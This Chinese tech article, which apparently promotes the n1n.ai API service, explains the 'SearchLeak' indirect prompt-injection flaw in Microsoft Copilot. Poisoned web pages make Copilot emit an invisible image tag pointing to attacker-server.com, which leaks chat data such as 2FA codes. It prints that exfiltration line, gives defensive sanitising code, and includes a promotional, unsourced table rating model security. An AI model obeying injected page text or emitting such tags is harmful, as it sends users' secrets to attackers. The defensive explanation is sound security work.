微软 Copilot 漏洞曝光:攻击者可窃取双重身份验证代码
- 作者

- 姓名
- Nino
- 职业
- Senior Tech Editor
大语言模型(LLM)正以前所未有的速度融入我们的日常工作流,但这种便利也带来了全新的安全挑战。最近,一个被称为 “SearchLeak” 的关键漏洞在微软 Copilot 中被发现。该漏洞揭示了一个令人震惊的事实:攻击者可以利用该漏洞从用户的会话中窃取敏感数据,甚至包括双重身份验证(2FA)代码。这一事件再次提醒我们,在追求 AI 生产力的同时,底层的安全框架往往滞后于模型本身的发展。
SearchLeak 漏洞深度解析
从技术角度来看,SearchLeak 属于一种 “间接提示词注入”(Indirect Prompt Injection, IPI)。与传统由用户发起的提示词注入不同,间接注入发生在 AI 处理第三方内容(如恶意网页或电子邮件)时。在 Copilot 的案例中,该漏洞利用了模型通过 Bing Search 浏览网页并获取信息的能力。
当用户提出的问题触发网页搜索时,Copilot 会从多个 URL 中提取内容。如果其中某个 URL 包含经过特殊设计的 “毒化” 提示词,Copilot 可能会优先执行这些隐藏指令,而非用户的原始意图。SearchLeak 漏洞专门针对 Copilot 渲染 Markdown 格式和处理外部请求的方式,允许攻击者将用户的私密对话记录 “泄漏” 到攻击者控制的外部服务器上。
2FA 代码是如何被窃取的?
该漏洞最危险的地方在于其窃取 2FA 代码的能力。假设用户在与 Copilot 对话的同时,打开了包含 2FA 代码的邮件或消息。如果用户将代码复制到聊天框中寻求帮助,或者 AI 具有访问用户屏幕上下文的权限,SearchLeak 攻击就会被触发。
攻击者使用了 “不可见 Markdown”(Invisible Markdown)技术。通过指令让 LLM 生成一个图像标签,例如 <img src="https://attacker-server.com/leak?data=[用户敏感数据]" />,攻击者可以强制用户的浏览器向其服务器发送一个 GET 请求。由于 LLM 会将 [用户敏感数据] 替换为真实的会话内容,2FA 代码就会作为 URL 参数被发送并记录在攻击者的日志中。对于用户而言,这可能只是显示为一个破碎的图片图标,甚至完全不可见(如果图片被设置为 1x1 像素且透明)。
为什么 LLM 安全防护屡屡失效?
SearchLeak 所暴露出的 LLM 安全困境,根源于神经网络的 “黑盒” 特性。传统的软件安全依赖于确定性逻辑——如果输入 A 包含 X 字符,则拦截。然而,LLM 是概率性的,它们根据语义含义而非字面字符串来解释指令。这使得为提示词建立 “防火墙” 变得异常困难。
此外,RAG(检索增强生成)技术的普及扩大了攻击面。当开发者通过 n1n.ai 等平台调用先进模型时,必须意识到,模型的安全性很大程度上取决于数据检索链路的安全性。如果你的 RAG 系统在没有严密过滤的情况下引入了不可信数据,本质上就是在为间接提示词注入大开方便之门。
技术对比:主流模型的安全表现
并非所有模型在处理对抗性输入时表现一致。虽然微软 Copilot(基于 GPT-4)是此次攻击的目标,但像 DeepSeek-V3 和 Claude 3.5 Sonnet 这样的模型拥有不同的安全护栏。在通过 n1n.ai 构建应用时,开发者应参考以下安全画像:
| 安全特性 | GPT-4o | Claude 3.5 Sonnet | DeepSeek-V3 | OpenAI o3 |
|---|---|---|---|---|
| 提示词注入防御 | 高(侧重系统提示词) | 极高(宪法 AI 架构) | 中等 | 高(基于推理校验) |
| 数据泄露防护 | 内置过滤器 | 严格输出限制 | 标准 | 高级推理检查 |
| RAG 安全性 | 取决于实现 | 高 | 中等 | 高 |
实践指南:如何安全地调用 LLM API
对于使用 n1n.ai API 聚合器的开发者,针对 LLM 输入实施 “零信任” 架构是必不可少的。以下是一个 Python 示例,展示了如何实施基础的输入清理和输出监控,以防止类似 SearchLeak 的泄露。
import re
import requests
def sanitize_input(user_input):
# 移除潜在的 Markdown 注入模式
sanitized = re.sub(r'!\[.*?\]\(.*?\)', '', user_input)
sanitized = re.sub(r'<img.*?>', '', sanitized)
return sanitized
def call_llm_securely(prompt):
api_url = "https://api.n1n.ai/v1/chat/completions"
headers = {"Authorization": "Bearer YOUR_API_KEY"}
clean_prompt = sanitize_input(prompt)
payload = {
"model": "gpt-4o",
"messages": [{"role": "user", "content": clean_prompt}],
"temperature": 0.2 # 降低随机性,使输出更可控
}
response = requests.post(api_url, json=payload, headers=headers)
result = response.json()['choices'][0]['message']['content']
# 输出验证:检查响应中是否包含可疑 URL
if "attacker-server.com" in result:
raise Exception("检测到潜在数据泄露!")
return result
企业级 AI 安全专家建议
- 部署内容安全策略 (CSP):如果你在 Web 应用中嵌入了 AI 聊天功能,请使用 CSP 响应头,防止浏览器加载未经授权域名的图片或发起请求。
- RAG 环节的人工介入:永远不要让 LLM 根据检索到的网页内容自动执行敏感操作,必须经过人工确认或二次验证。
- 利用模型冗余:通过 n1n.ai 灵活切换模型。如果某个模型在处理 Markdown 方面被发现漏洞,你可以立即切换到安全性更高的替代方案,如 Claude 3.5 Sonnet。
- 上下文隔离:确保 LLM 无法访问与其任务无关的敏感会话令牌或 2FA 代码。在将数据传递给 API 之前,务必进行脱敏处理。
总结与展望
SearchLeak 漏洞是一个响亮的警钟。它证明了即使是最先进的 AI 助手,也可能因为其核心功能的精巧操纵而被用来对付用户。作为开发者,我们必须将 LLM 的输出视为不可信的代码。通过利用像 n1n.ai 这样强大的 API 聚合器,团队可以获得应对这些不断演变的威胁所需的灵活性,同时保持高性能和高可靠性。
Get a free API key at n1n.ai